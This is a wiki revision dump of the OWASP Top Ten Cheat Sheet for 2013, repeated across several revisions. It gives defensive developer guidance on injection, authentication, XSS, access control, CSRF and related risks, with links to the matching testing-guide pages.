*(LR) Positive validation of redirection parameter.<br />
*(NR) Java – Do not forward() requests as this prevents SSO access control mechanisms.<br />
<br />
||<br />
*Validate role is sufficient to create, read, update, or delete data.<br />
<br />
||<br />
* [[Testing for Client Side URL Redirect (OTG-CLIENT-004)]]<br />
<br />
|-<br />
|}<br />
<br />
= Authors and Primary Editors =<br />
<br />
Andrew van der Stock vanderaj[at]owasp.org<br />
<br />
Ismael Rocha Gonçalves ismaelrg[at]gmail.com<br />
<br />
Jorge Correa jacorream@gmail.com<br />
<br />
= Other Cheatsheets =<br />
<br />
{{Cheatsheet_Navigation_Body}}<br />
<br />
[[Category:Cheatsheets]]</div>Dan Wallishttps://wiki.owasp.org/index.php?title=OWASP_Top_Ten_Cheat_Sheet&diff=231994OWASP Top Ten Cheat Sheet2017-08-03T03:11:03Z<p>Dan Wallis: </p>
<hr />
<div> __NOTOC__<br />
<div style="width:100%;height:160px;border:0,margin:0;overflow: hidden;">[[File:Cheatsheets-header.jpg|link=]]</div><br />
<br />
= Introduction =<br />
__TOC__{{TOC hidden}}<br />
<br />
The following is a developer-centric defensive cheat sheet for the 2013 release of the [[OWASP Top Ten Project]]. It also presents a quick reference based on [[OWASP Testing Project]] to help how to identify the risks.<br />
<br />
= OWASP Top Ten Cheat Sheet =<br />
<br />
{| border=1<br />
| <br />
||'''Presentation'''<br />
||'''Controller'''<br />
||'''Model'''<br />
||'''Testing (OWASP Testing Guide V4)'''<br />
<br />
|-<br />
|'''A1 Injection'''<br />
||<br />
<br />
''Render:''<br />
*Set a correct content type<br />
*Set safe character set (UTF-8)<br />
*Set correct locale<br />
<br />
''On Submit:''<br />
*Enforce input field type and lengths.<br />
*Validate fields and provide feedback.<br />
*Ensure option selects and radio contain only sent values.<br />
||'''Canonicalize using correct character set'''<br />
'''Positive input validation using correct character set'''<br />
<br />
(NR) Negative input validation.<br />
(LR) Sanitize input.<br />
<br />
''Tip: updating a negative list (such as looking for "script", "sCrIpT", "ßCrîpt", etc) will require expensive and constant deployments and will '''always '''fail as attackers work out your list of "bad" words. Positive validation is simpler, faster and usually more secure and needs updating far less than any other validation mechanism. ''<br />
||*'''[https://www.owasp.org/index.php/Query_Parameterization_Cheat_Sheet Parameterized queries]'''<br />
<br />
*Object relational model (Hibernate).<br />
*Active Record design pattern.<br />
*Stored procedures.<br />
<br />
*Escape mechanisms such as ESAPI's Encoder:<br />
**EncodeForLDAP()<br />
**Encoder.EncodeforOS()<br />
<br />
''Tip: '''All '''SQL Injection is due to dynamic SQL queries. Strongly consider prohibiting dynamic SQL queries within your organization ''<br />
<br />
||<br />
* [[Testing for SQL Injection (OTG-INPVAL-005)]]<br />
* [[Testing for LDAP Injection (OTG-INPVAL-006)]]<br />
* [[Testing for ORM Injection (OTG-INPVAL-007)]]<br />
* [[Testing for XML Injection (OTG-INPVAL-008)]]<br />
* [[Testing for SSI Injection (OTG-INPVAL-009)]]<br />
* [[Testing for XPath Injection (OTG-INPVAL-010)]]<br />
* [[Testing for IMAP/SMTP Injection (OTG-INPVAL-011)]]<br />
* [[Testing for Code Injection (OTG-INPVAL-012)]]<br />
* [[Testing for Command Injection (OTG-INPVAL-013)]]<br />
* [[Testing for Buffer Overflow (OTG-INPVAL-014)]]<br />
<br />
|-<br />
|'''A2 Weak authentication and session management'''<br />
||''Render:''<br />
*Validate user is authenticated.<br />
*Validate role is sufficient for this view.<br />
*Set "secure" and "HttpOnly" flags for session cookies.<br />
*Send CSRF token with forms.<br />
<br />
||''Design:''<br />
*Only use inbuilt session management.<br />
*Store secondary SSO / framework / custom session identifiers in native session object – do not send as additional headers or cookies.<br />
<br />
*Validate user is authenticated.<br />
*Validate role is sufficient to perform this action.<br />
*Validate CSRF token.<br />
||Validate role is sufficient to create, read, update, or delete data<br />
<br />
''Tip: Consider the use of a "governor" to regulate the maximum number of requests per second / minute / hour that this user may perform. For example, a typical banking user should not perform more than ten transactions a minute, and one hundred per second is dangerous and should be blocked.''<br />
<br />
||<br />
* [[Test Role Definitions (OTG-IDENT-001)]]<br />
* [[Test User Registration Process (OTG-IDENT-002)]]<br />
* [[Test Account Provisioning Process (OTG-IDENT-003)]]<br />
* [[Testing for Account Enumeration and Guessable User Account (OTG-IDENT-004)]]<br />
* [[Testing for Weak or unenforced username policy (OTG-IDENT-005)]]<br />
* [[Testing for Credentials Transported over an Encrypted Channel (OTG-AUTHN-001)]]<br />
* [[Testing for default credentials (OTG-AUTHN-002)]]<br />
* [[Testing for Weak lock out mechanism (OTG-AUTHN-003)]]<br />
* [[Testing for Bypassing Authentication Schema (OTG-AUTHN-004)]]<br />
* [[Testing for Vulnerable Remember Password (OTG-AUTHN-005)]]<br />
* [[Testing for Browser cache weakness (OTG-AUTHN-006)]]<br />
* [[Testing for Weak password policy (OTG-AUTHN-007)]]<br />
* [[Testing for Weak security question/answer (OTG-AUTHN-008)]]<br />
* [[Testing for weak password change or reset functionalities (OTG-AUTHN-009)]]<br />
* [[Testing for Weaker authentication in alternative channel (OTG-AUTHN-010)]]<br />
* [[Testing for Bypassing Authorization Schema (OTG-AUTHZ-002)]]<br />
* [[Testing for Privilege escalation (OTG-AUTHZ-003)]]<br />
* [[Testing for Session Management Schema (OTG-SESS-001)]]<br />
* [[Testing for cookies attributes (OTG-SESS-002)]]<br />
* [[Testing for Session Fixation (OTG-SESS-003)]]<br />
* [[Testing for Exposed Session Variables (OTG-SESS-004)]]<br />
* [[Testing for CSRF (OTG-SESS-005)]]<br />
* [[Testing for logout functionality (OTG-SESS-006)]]<br />
* [[Test Session Timeout (OTG-SESS-007)]]<br />
* [[Testing for Session puzzling (OTG-SESS-008)]]<br />
<br />
|-<br />
|'''A3 XSS'''<br />
||<br />
<br />
''Render:''<br />
*Set correct content type<br />
*Set safe character set (UTF-8)<br />
*Set correct locale<br />
*Output encode all user data as per output context<br />
*Set input constraints<br />
<br />
''On Submit:''<br />
*Enforce input field type and lengths.<br />
*Validate fields and provide feedback.<br />
*Ensure option selects and radio contain only sent values.<br />
||'''Canonicalize using correct character set'''<br />
'''Positive input validation using correct character set'''<br />
<br />
(NR) Negative input validation <br />
(LR) Sanitize input <br />
<br />
''Tip: Only process data that is 100% trustworthy. Everything else is hostile and should be rejected.''<br />
||''Tip: Do not store data HTML encoded in the database. This prevents new uses for the data, such as web services, RSS feeds, FTP batches, data warehousing, cloud computing, and so on.''<br />
<br />
''Tip: Use OWASP Scrubbr to clean tainted or hostile data from legacy data''<br />
<br />
||<br />
* [[Testing for Reflected Cross site scripting (OTG-INPVAL-001)]]<br />
* [[Testing for Stored Cross site scripting (OTG-INPVAL-002)]]<br />
* [[Testing for DOM-based Cross site scripting (OTG-CLIENT-001)]]<br />
* [[Testing for JavaScript Execution (OTG-CLIENT-002)]]<br />
* [[Testing for HTML Injection (OTG-CLIENT-003)]]<br />
* [[Testing for Cross site flashing (OTG-CLIENT-008)]]<br />
<br />
|-<br />
|'''A4 Insecure Direct Object References'''<br />
||If data is from internal trusted sources, no data is sent.<br />
<br />
Or<br />
<br />
''Render:''<br />
*Send indirect random access reference map value.<br />
||Obtain data from internal, trusted sources.<br />
<br />
Or<br />
<br />
Obtain direct value from random access reference access map.<br />
||Validate role is sufficient to create, read, update, or delete data.<br />
<br />
||<br />
''[https://www.owasp.org/index.php/Testing_Directory_traversal/file_include_(OTG-AUTHZ-001) Testing Directory traversal/file include (OTG-AUTHZ-001)]''<br />
''[https://www.owasp.org/index.php/Testing_for_Insecure_Direct_Object_References_(OTG-AUTHZ-004) Testing for Insecure Direct Object References (OTG-AUTHZ-004)]''<br />
''[https://www.owasp.org/index.php/Testing_for_Local_File_Inclusion Testing for Local File Inclusion]''<br />
''[https://www.owasp.org/index.php/Testing_for_Remote_File_Inclusion Testing for Remote File Inclusion]''<br />
<br />
|-<br />
|'''A5 Security Misconfiguration'''<br />
||Ensure web servers and application servers are hardened.<br />
<br />
PHP: Ensure allow_url_fopen and allow_url_include are both disabled in php.ini. Consider the use of Suhosin extension <br />
||Ensure web servers and application servers are hardened <br />
<br />
XML: Ensure common web attacks (remote XSLT transforms, hostile XPath queries, recursive DTDs, and so on) are protected by your XML stack. Do not hand craft XML documents or queries – use the XML layer. <br />
||Ensure database servers are hardened <br />
<br />
||<br />
''[https://www.owasp.org/index.php/Fingerprint_Web_Server_(OTG-INFO-002) Fingerprint Web Server (OTG-INFO-002)]''<br />
''[https://www.owasp.org/index.php/Fingerprint_Web_Application_Framework_(OTG-INFO-008) Fingerprint Web Application Framework (OTG-INFO-008)]''<br />
''[https://www.owasp.org/index.php/Fingerprint_Web_Application_(OTG-INFO-009) Fingerprint Web Application (OTG-INFO-009)]''<br />
''[https://www.owasp.org/index.php/Test_Network/Infrastructure_Configuration_(OTG-CONFIG-001) Test Network/Infrastructure Configuration (OTG-CONFIG-001)]''<br />
''[https://www.owasp.org/index.php/Test_Application_Platform_Configuration_(OTG-CONFIG-002) Test Application Platform Configuration (OTG-CONFIG-002)]''<br />
''[https://www.owasp.org/index.php/Test_File_Extensions_Handling_for_Sensitive_Information_(OTG-CONFIG-003) Test File Extensions Handling for Sensitive Information (OTG-CONFIG-003)]''<br />
''[https://www.owasp.org/index.php/Review_Old,_Backup_and_Unreferenced_Files_for_Sensitive_Information_(OTG-CONFIG-004) Review Old, Backup and Unreferenced Files for Sensitive Information (OTG-CONFIG-004)]''<br />
''[https://www.owasp.org/index.php/Enumerate_Infrastructure_and_Application_Admin_Interfaces_(OTG-CONFIG-005) Enumerate Infrastructure and Application Admin Interfaces (OTG-CONFIG-005)]''<br />
''[https://www.owasp.org/index.php/Test_HTTP_Methods_(OTG-CONFIG-006) Test HTTP Methods (OTG-CONFIG-006)]''<br />
''[https://www.owasp.org/index.php/Test_RIA_cross_domain_policy_(OTG-CONFIG-008) Test RIA cross domain policy (OTG-CONFIG-008)]''<br />
''[https://www.owasp.org/index.php/Testing_for_Error_Code_(OTG-ERR-001) Analysis of Error Codes (OTG-ERR-001)]''<br />
''[https://www.owasp.org/index.php/Testing_for_Stack_Traces_(OTG-ERR-002) Analysis of Stack Traces (OTG-ERR-002)]''<br />
<br />
|-<br />
|'''A6 Sensitive Data Exposure'''<br />
||''Design:''<br />
*Use strong ciphers (AES 128 or better) with secure mode of operations (do not use ECB).<br />
*Use strong hashes (SHA 256 or better) with salts for passwords.<br />
*Protect keys more than any other asset.<br />
*Use TLS 1.2 or later for all web communications.<br />
*Buy extended validation (EV) certificates for public web servers.<br />
<br />
''Tip: Use TLS 1.2 always – even internally. Most snooping is done within corporate networks – and it is as easy and unethical as fishing with dynamite.''<br />
<br />
''Render:''<br />
*Do not send keys or hashes to the browser.<br />
<br />
||''Design:''<br />
*Use strong ciphers (AES 128 or better) with secure mode of operations (do not use ECB).<br />
*Use strong hashes (SHA 256 or better) with salts for passwords.<br />
*Protect keys more than any other asset.<br />
*Mandate strong encrypted communications between web and database servers and any other servers or administrative users.<br />
<br />
''Tip: Only certain personally identifiable information and sensitive values MUST be encrypted. Encrypt data that would be embarrassing or costly if it was leaked or stolen. ''<br />
<br />
''Tip: It is best to encrypt data on the application server, rather than the database server.''<br />
<br />
||''Design:''<br />
<br />
*Mandate strong encrypted communications with application servers and any other servers or administrative users.<br />
<br />
''Tip: Do not use RDBMS database, row or table level encryption. The data can be retrieved in the clear by anyone with direct access to the server, or over the network using the application credentials. It might even traverse the network in the clear despite being "encrypted" on disk. ''<br />
<br />
||<br />
''[https://www.owasp.org/index.php/Testing_for_Weak_SSL/TLS_Ciphers,_Insufficient_Transport_Layer_Protection_(OTG-CRYPST-001) Testing for Weak SSL/TLS Ciphers, Insufficient Transport Layer Protection (OTG-CRYPST-001)]''<br />
''[https://www.owasp.org/index.php/Testing_for_Padding_Oracle_(OTG-CRYPST-002) Testing for Padding Oracle (OTG-CRYPST-002)]''<br />
''[https://www.owasp.org/index.php/Testing_for_Sensitive_information_sent_via_unencrypted_channels_(OTG-CRYPST-003) Testing for Sensitive information sent via unencrypted channels (OTG-CRYPST-003)]''<br />
''[https://www.owasp.org/index.php/Test_HTTP_Strict_Transport_Security_(OTG-CONFIG-007) Test HTTP Strict Transport Security (OTG-CONFIG-007)]''<br />
''[https://www.owasp.org/index.php/Testing_for_Credentials_Transported_over_an_Encrypted_Channel_(OTG-AUTHN-001) Testing for Credentials Transported over an Encrypted Channel (OTG-AUTHN-001)]''<br />
<br />
|-<br />
|'''A7 Missing Function Level Access Control'''<br />
||''Design:''<br />
*Ensure all non-web data is outside the web root (logs, configuration, etc).<br />
*Use octet byte streaming instead of providing access to real files such as PDFs or CSVs or similar.<br />
*Ensure every page requires a role, even if it is "guest".<br />
<br />
''Pre-render:''<br />
*Validate user is authenticated.<br />
*Validate role is sufficient to view secured URL.<br />
<br />
''Render:''<br />
*Send CSRF token.<br />
||<br />
*Validate user is authenticated.<br />
*Validate role is sufficient to perform secured action.<br />
*Validate CSRF token.<br />
<br />
''Tip: It's impossible to control access to secured resources that the web application server does not directly serve. Therefore, PDF reports or similar should be served by the web application server using binary octet streaming. ''<br />
<br />
''Tip: Assume attackers '''will''' learn where "hidden" directories and "random" filenames are, so do not store these files in the web root, even if they are not directly linked.''<br />
||Validate role is sufficient to create, read, update, or delete data<br />
<br />
||<br />
''[https://www.owasp.org/index.php/Testing_Directory_traversal/file_include_(OTG-AUTHZ-001) Testing Directory traversal/file include (OTG-AUTHZ-001)]''<br />
''[https://www.owasp.org/index.php/Testing_for_Bypassing_Authorization_Schema_(OTG-AUTHZ-002) Testing for bypassing authorization schema (OTG-AUTHZ-002)]''<br />
''[https://www.owasp.org/index.php/Testing_for_Bypassing_Authentication_Schema_(OTG-AUTHN-004) Testing for bypassing authentication schema (OTG-AUTHN-004)]''<br />
<br />
|-<br />
|'''A8 Cross Site Request Forgery'''<br />
||''Pre-render:''<br />
*Validate user is authenticated<br />
*Validate role is sufficient for this view<br />
<br />
''Render:''<br />
*Send CSRF token.<br />
*Set "secure" and "HttpOnly" flags for session cookies.<br />
||<br />
*Validate CSRF token.<br />
*Validate role is sufficient to perform this action.<br />
*Validate role is sufficient.<br />
<br />
''Tip: CSRF is '''always '''possible if there is XSS, so make sure XSS is eliminated within your application.''<br />
||Validate role is sufficient to create, read, update, or delete data<br />
<br />
||<br />
* [[Testing for CSRF (OTG-SESS-005)]]<br />
<br />
|-<br />
|'''A9 Using Components with Known Vulnerabilities'''<br />
||<br />
<br />
<br />
||<br />
<br />
<br />
||<br />
<br />
<br />
||<br />
* [[Enumerate Applications on Webserver (OTG-INFO-004)]]<br />
|-<br />
<br />
|-<br />
|'''A10 Unvalidated Redirects and Forwards'''<br />
||<br />
*Design the app without URL redirection parameters.<br />
<br />
or<br />
<br />
''Render:''<br />
*Use random indirect object references for redirection parameters.<br />
<br />
||<br />
*Design the app without URL redirection parameters.<br />
<br />
or<br />
<br />
*Obtain direct redirection parameter from random indirect reference access map.<br />
*(LR) Positive validation of redirection parameter.<br />
*(NR) Java – Do not forward() requests as this prevents SSO access control mechanisms.<br />
<br />
||<br />
*Validate role is sufficient to create, read, update, or delete data.<br />
<br />
||<br />
* [[Testing for Client Side URL Redirect (OTG-CLIENT-004)]]<br />
<br />
|-<br />
|}<br />
<br />
= Authors and Primary Editors =<br />
<br />
Andrew van der Stock vanderaj[at]owasp.org<br />
<br />
Ismael Rocha Gonçalves ismaelrg[at]gmail.com<br />
<br />
Jorge Correa jacorream@gmail.com<br />
<br />
= Other Cheatsheets =<br />
<br />
{{Cheatsheet_Navigation_Body}}<br />
<br />
[[Category:Cheatsheets]]</div>Dan Wallishttps://wiki.owasp.org/index.php?title=OWASP_Top_Ten_Cheat_Sheet&diff=231993OWASP Top Ten Cheat Sheet2017-08-03T03:09:07Z<p>Dan Wallis: </p>
<hr />
<div> __NOTOC__<br />
<div style="width:100%;height:160px;border:0,margin:0;overflow: hidden;">[[File:Cheatsheets-header.jpg|link=]]</div><br />
<br />
= Introduction =<br />
__TOC__{{TOC hidden}}<br />
<br />
The following is a developer-centric defensive cheat sheet for the 2013 release of the [[OWASP Top Ten Project]]. It also presents a quick reference based on [[OWASP Testing Project]] to help how to identify the risks.<br />
<br />
= OWASP Top Ten Cheat Sheet =<br />
<br />
{| border=1<br />
| <br />
||'''Presentation'''<br />
||'''Controller'''<br />
||'''Model'''<br />
||'''Testing (OWASP Testing Guide V4)'''<br />
<br />
|-<br />
|'''A1 Injection'''<br />
||<br />
<br />
''Render:''<br />
*Set a correct content type<br />
*Set safe character set (UTF-8)<br />
*Set correct locale<br />
<br />
''On Submit:''<br />
*Enforce input field type and lengths.<br />
*Validate fields and provide feedback.<br />
*Ensure option selects and radio contain only sent values.<br />
||'''Canonicalize using correct character set'''<br />
'''Positive input validation using correct character set'''<br />
<br />
(NR) Negative input validation.<br />
(LR) Sanitize input.<br />
<br />
''Tip: updating a negative list (such as looking for "script", "sCrIpT", "ßCrîpt", etc) will require expensive and constant deployments and will '''always '''fail as attackers work out your list of "bad" words. Positive validation is simpler, faster and usually more secure and needs updating far less than any other validation mechanism. ''<br />
||*'''[https://www.owasp.org/index.php/Query_Parameterization_Cheat_Sheet Parameterized queries]'''<br />
<br />
*Object relational model (Hibernate).<br />
*Active Record design pattern.<br />
*Stored procedures.<br />
<br />
*Escape mechanisms such as ESAPI's Encoder:<br />
**EncodeForLDAP()<br />
**Encoder.EncodeforOS()<br />
<br />
''Tip: '''All '''SQL Injection is due to dynamic SQL queries. Strongly consider prohibiting dynamic SQL queries within your organization ''<br />
<br />
||<br />
* [[Testing for SQL Injection (OTG-INPVAL-005)]]<br />
* [[Testing for LDAP Injection (OTG-INPVAL-006)]]<br />
* [[Testing for ORM Injection (OTG-INPVAL-007)]]<br />
* [[Testing for XML Injection (OTG-INPVAL-008)]]<br />
* [[Testing for SSI Injection (OTG-INPVAL-009)]]<br />
* [[Testing for XPath Injection (OTG-INPVAL-010)]]<br />
* [[Testing for IMAP/SMTP Injection (OTG-INPVAL-011)]]<br />
* [[Testing for Code Injection (OTG-INPVAL-012)]]<br />
* [[Testing for Command Injection (OTG-INPVAL-013)]]<br />
* [[Testing for Buffer Overflow (OTG-INPVAL-014)]]<br />
<br />
|-<br />
|'''A2 Weak authentication and session management'''<br />
||''Render:''<br />
*Validate user is authenticated.<br />
*Validate role is sufficient for this view.<br />
*Set "secure" and "HttpOnly" flags for session cookies.<br />
*Send CSRF token with forms.<br />
<br />
||''Design:''<br />
*Only use inbuilt session management.<br />
*Store secondary SSO / framework / custom session identifiers in native session object – do not send as additional headers or cookies.<br />
<br />
*Validate user is authenticated.<br />
*Validate role is sufficient to perform this action.<br />
*Validate CSRF token.<br />
||Validate role is sufficient to create, read, update, or delete data<br />
<br />
''Tip: Consider the use of a "governor" to regulate the maximum number of requests per second / minute / hour that this user may perform. For example, a typical banking user should not perform more than ten transactions a minute, and one hundred per second is dangerous and should be blocked.''<br />
<br />
||<br />
* [[Test Role Definitions (OTG-IDENT-001)]]<br />
* [[Test User Registration Process (OTG-IDENT-002)]]<br />
* [[Test Account Provisioning Process (OTG-IDENT-003)]]<br />
* [[Testing for Account Enumeration and Guessable User Account (OTG-IDENT-004)]]<br />
* [[Testing for Weak or unenforced username policy (OTG-IDENT-005)]]<br />
* [[Testing for Credentials Transported over an Encrypted Channel (OTG-AUTHN-001)]]<br />
* [[Testing for default credentials (OTG-AUTHN-002)]]<br />
* [[Testing for Weak lock out mechanism (OTG-AUTHN-003)]]<br />
* [[Testing for Bypassing Authentication Schema (OTG-AUTHN-004)]]<br />
* [[Testing for Vulnerable Remember Password (OTG-AUTHN-005)]]<br />
* [[Testing for Browser cache weakness (OTG-AUTHN-006)]]<br />
* [[Testing for Weak password policy (OTG-AUTHN-007)]]<br />
* [[Testing for Weak security question/answer (OTG-AUTHN-008)]]<br />
* [[Testing for weak password change or reset functionalities (OTG-AUTHN-009)]]<br />
* [[Testing for Weaker authentication in alternative channel (OTG-AUTHN-010)]]<br />
* [[Testing for Bypassing Authorization Schema (OTG-AUTHZ-002)]]<br />
* [[Testing for Privilege escalation (OTG-AUTHZ-003)]]<br />
* [[Testing for Session Management Schema (OTG-SESS-001)]]<br />
* [[Testing for cookies attributes (OTG-SESS-002)]]<br />
* [[Testing for Session Fixation (OTG-SESS-003)]]<br />
* [[Testing for Exposed Session Variables (OTG-SESS-004)]]<br />
* [[Testing for CSRF (OTG-SESS-005)]]<br />
* [[Testing for logout functionality (OTG-SESS-006)]]<br />
* [[Test Session Timeout (OTG-SESS-007)]]<br />
* [[Testing for Session puzzling (OTG-SESS-008)]]<br />
<br />
|-<br />
|'''A3 XSS'''<br />
||<br />
<br />
''Render:''<br />
*Set correct content type<br />
*Set safe character set (UTF-8)<br />
*Set correct locale<br />
*Output encode all user data as per output context<br />
*Set input constraints<br />
<br />
''On Submit:''<br />
*Enforce input field type and lengths.<br />
*Validate fields and provide feedback.<br />
*Ensure option selects and radio contain only sent values.<br />
||'''Canonicalize using correct character set'''<br />
'''Positive input validation using correct character set'''<br />
<br />
(NR) Negative input validation <br />
(LR) Sanitize input <br />
<br />
''Tip: Only process data that is 100% trustworthy. Everything else is hostile and should be rejected.''<br />
||''Tip: Do not store data HTML encoded in the database. This prevents new uses for the data, such as web services, RSS feeds, FTP batches, data warehousing, cloud computing, and so on.''<br />
<br />
''Tip: Use OWASP Scrubbr to clean tainted or hostile data from legacy data''<br />
<br />
||<br />
''[https://www.owasp.org/index.php/Testing_for_Reflected_Cross_site_scripting_(OTG-INPVAL-001) Testing for Reflected Cross Site Scripting (OTG-INPVAL-001)]''<br />
''[https://www.owasp.org/index.php/Testing_for_Stored_Cross_site_scripting_(OTG-INPVAL-002) Testing for Stored Cross Site Scripting (OTG-INPVAL-002)]''<br />
''[https://www.owasp.org/index.php/Testing_for_DOM-based_Cross_site_scripting_(OTG-CLIENT-001) Testing for DOM based Cross Site Scripting (OTG-CLIENT-001)]''<br />
''[https://www.owasp.org/index.php/Testing_for_JavaScript_Execution_(OTG-CLIENT-002) Testing for JavaScript Execution (OTG-CLIENT-002)]''<br />
''[https://www.owasp.org/index.php/Testing_for_HTML_Injection_(OTG-CLIENT-003) Testing for HTML Injection (OTG-CLIENT-003)]''<br />
''[https://www.owasp.org/index.php/Testing_for_Cross_site_flashing_(OTG-CLIENT-008) Testing for Cross Site Flashing (OTG-CLIENT-008)]''<br />
<br />
|-<br />
|'''A4 Insecure Direct Object References'''<br />
||If data is from internal trusted sources, no data is sent.<br />
<br />
Or<br />
<br />
''Render:''<br />
*Send indirect random access reference map value.<br />
||Obtain data from internal, trusted sources.<br />
<br />
Or<br />
<br />
Obtain direct value from random access reference access map.<br />
||Validate role is sufficient to create, read, update, or delete data.<br />
<br />
||<br />
''[https://www.owasp.org/index.php/Testing_Directory_traversal/file_include_(OTG-AUTHZ-001) Testing Directory traversal/file include (OTG-AUTHZ-001)]''<br />
''[https://www.owasp.org/index.php/Testing_for_Insecure_Direct_Object_References_(OTG-AUTHZ-004) Testing for Insecure Direct Object References (OTG-AUTHZ-004)]''<br />
''[https://www.owasp.org/index.php/Testing_for_Local_File_Inclusion Testing for Local File Inclusion]''<br />
''[https://www.owasp.org/index.php/Testing_for_Remote_File_Inclusion Testing for Remote File Inclusion]''<br />
<br />
|-<br />
|'''A5 Security Misconfiguration'''<br />
||Ensure web servers and application servers are hardened.<br />
<br />
PHP: Ensure allow_url_fopen and allow_url_include are both disabled in php.ini. Consider the use of Suhosin extension <br />
||Ensure web servers and application servers are hardened <br />
<br />
XML: Ensure common web attacks (remote XSLT transforms, hostile XPath queries, recursive DTDs, and so on) are protected by your XML stack. Do not hand craft XML documents or queries – use the XML layer. <br />
||Ensure database servers are hardened <br />
<br />
||<br />
''[https://www.owasp.org/index.php/Fingerprint_Web_Server_(OTG-INFO-002) Fingerprint Web Server (OTG-INFO-002)]''<br />
''[https://www.owasp.org/index.php/Fingerprint_Web_Application_Framework_(OTG-INFO-008) Fingerprint Web Application Framework (OTG-INFO-008)]''<br />
''[https://www.owasp.org/index.php/Fingerprint_Web_Application_(OTG-INFO-009) Fingerprint Web Application (OTG-INFO-009)]''<br />
''[https://www.owasp.org/index.php/Test_Network/Infrastructure_Configuration_(OTG-CONFIG-001) Test Network/Infrastructure Configuration (OTG-CONFIG-001)]''<br />
''[https://www.owasp.org/index.php/Test_Application_Platform_Configuration_(OTG-CONFIG-002) Test Application Platform Configuration (OTG-CONFIG-002)]''<br />
''[https://www.owasp.org/index.php/Test_File_Extensions_Handling_for_Sensitive_Information_(OTG-CONFIG-003) Test File Extensions Handling for Sensitive Information (OTG-CONFIG-003)]''<br />
''[https://www.owasp.org/index.php/Review_Old,_Backup_and_Unreferenced_Files_for_Sensitive_Information_(OTG-CONFIG-004) Review Old, Backup and Unreferenced Files for Sensitive Information (OTG-CONFIG-004)]''<br />
''[https://www.owasp.org/index.php/Enumerate_Infrastructure_and_Application_Admin_Interfaces_(OTG-CONFIG-005) Enumerate Infrastructure and Application Admin Interfaces (OTG-CONFIG-005)]''<br />
''[https://www.owasp.org/index.php/Test_HTTP_Methods_(OTG-CONFIG-006) Test HTTP Methods (OTG-CONFIG-006)]''<br />
''[https://www.owasp.org/index.php/Test_RIA_cross_domain_policy_(OTG-CONFIG-008) Test RIA cross domain policy (OTG-CONFIG-008)]''<br />
''[https://www.owasp.org/index.php/Testing_for_Error_Code_(OTG-ERR-001) Analysis of Error Codes (OTG-ERR-001)]''<br />
''[https://www.owasp.org/index.php/Testing_for_Stack_Traces_(OTG-ERR-002) Analysis of Stack Traces (OTG-ERR-002)]''<br />
<br />
|-<br />
|'''A6 Sensitive Data Exposure'''<br />
||''Design:''<br />
*Use strong ciphers (AES 128 or better) with secure mode of operations (do not use ECB).<br />
*Use strong hashes (SHA 256 or better) with salts for passwords.<br />
*Protect keys more than any other asset.<br />
*Use TLS 1.2 or later for all web communications.<br />
*Buy extended validation (EV) certificates for public web servers.<br />
<br />
''Tip: Use TLS 1.2 always – even internally. Most snooping is done within corporate networks – and it is as easy and unethical as fishing with dynamite.''<br />
<br />
''Render:''<br />
*Do not send keys or hashes to the browser.<br />
<br />
||''Design:''<br />
*Use strong ciphers (AES 128 or better) with secure mode of operations (do not use ECB).<br />
*Use strong hashes (SHA 256 or better) with salts for passwords.<br />
*Protect keys more than any other asset.<br />
*Mandate strong encrypted communications between web and database servers and any other servers or administrative users.<br />
<br />
''Tip: Only certain personally identifiable information and sensitive values MUST be encrypted. Encrypt data that would be embarrassing or costly if it was leaked or stolen. ''<br />
<br />
''Tip: It is best to encrypt data on the application server, rather than the database server.''<br />
<br />
||''Design:''<br />
<br />
*Mandate strong encrypted communications with application servers and any other servers or administrative users.<br />
<br />
''Tip: Do not use RDBMS database, row or table level encryption. The data can be retrieved in the clear by anyone with direct access to the server, or over the network using the application credentials. It might even traverse the network in the clear despite being "encrypted" on disk. ''<br />
<br />
||<br />
''[https://www.owasp.org/index.php/Testing_for_Weak_SSL/TLS_Ciphers,_Insufficient_Transport_Layer_Protection_(OTG-CRYPST-001) Testing for Weak SSL/TLS Ciphers, Insufficient Transport Layer Protection (OTG-CRYPST-001)]''<br />
''[https://www.owasp.org/index.php/Testing_for_Padding_Oracle_(OTG-CRYPST-002) Testing for Padding Oracle (OTG-CRYPST-002)]''<br />
''[https://www.owasp.org/index.php/Testing_for_Sensitive_information_sent_via_unencrypted_channels_(OTG-CRYPST-003) Testing for Sensitive information sent via unencrypted channels (OTG-CRYPST-003)]''<br />
''[https://www.owasp.org/index.php/Test_HTTP_Strict_Transport_Security_(OTG-CONFIG-007) Test HTTP Strict Transport Security (OTG-CONFIG-007)]''<br />
''[https://www.owasp.org/index.php/Testing_for_Credentials_Transported_over_an_Encrypted_Channel_(OTG-AUTHN-001) Testing for Credentials Transported over an Encrypted Channel (OTG-AUTHN-001)]''<br />
<br />
|-<br />
|'''A7 Missing Function Level Access Control'''<br />
||''Design:''<br />
*Ensure all non-web data is outside the web root (logs, configuration, etc).<br />
*Use octet byte streaming instead of providing access to real files such as PDFs or CSVs or similar.<br />
*Ensure every page requires a role, even if it is "guest".<br />
<br />
''Pre-render:''<br />
*Validate user is authenticated.<br />
*Validate role is sufficient to view secured URL.<br />
<br />
''Render:''<br />
*Send CSRF token.<br />
||<br />
*Validate user is authenticated.<br />
*Validate role is sufficient to perform secured action.<br />
*Validate CSRF token.<br />
<br />
''Tip: It's impossible to control access to secured resources that the web application server does not directly serve. Therefore, PDF reports or similar should be served by the web application server using binary octet streaming. ''<br />
<br />
''Tip: Assume attackers '''will''' learn where "hidden" directories and "random" filenames are, so do not store these files in the web root, even if they are not directly linked.''<br />
||Validate role is sufficient to create, read, update, or delete data<br />
<br />
||<br />
''[https://www.owasp.org/index.php/Testing_Directory_traversal/file_include_(OTG-AUTHZ-001) Testing Directory traversal/file include (OTG-AUTHZ-001)]''<br />
''[https://www.owasp.org/index.php/Testing_for_Bypassing_Authorization_Schema_(OTG-AUTHZ-002) Testing for bypassing authorization schema (OTG-AUTHZ-002)]''<br />
''[https://www.owasp.org/index.php/Testing_for_Bypassing_Authentication_Schema_(OTG-AUTHN-004) Testing for bypassing authentication schema (OTG-AUTHN-004)]''<br />
<br />
|-<br />
|'''A8 Cross Site Request Forgery'''<br />
||''Pre-render:''<br />
*Validate user is authenticated<br />
*Validate role is sufficient for this view<br />
<br />
''Render:''<br />
*Send CSRF token.<br />
*Set "secure" and "HttpOnly" flags for session cookies.<br />
||<br />
*Validate CSRF token.<br />
*Validate role is sufficient to perform this action.<br />
*Validate role is sufficient.<br />
<br />
''Tip: CSRF is '''always '''possible if there is XSS, so make sure XSS is eliminated within your application.''<br />
||Validate role is sufficient to create, read, update, or delete data<br />
<br />
||<br />
* [[Testing for CSRF (OTG-SESS-005)]]<br />
<br />
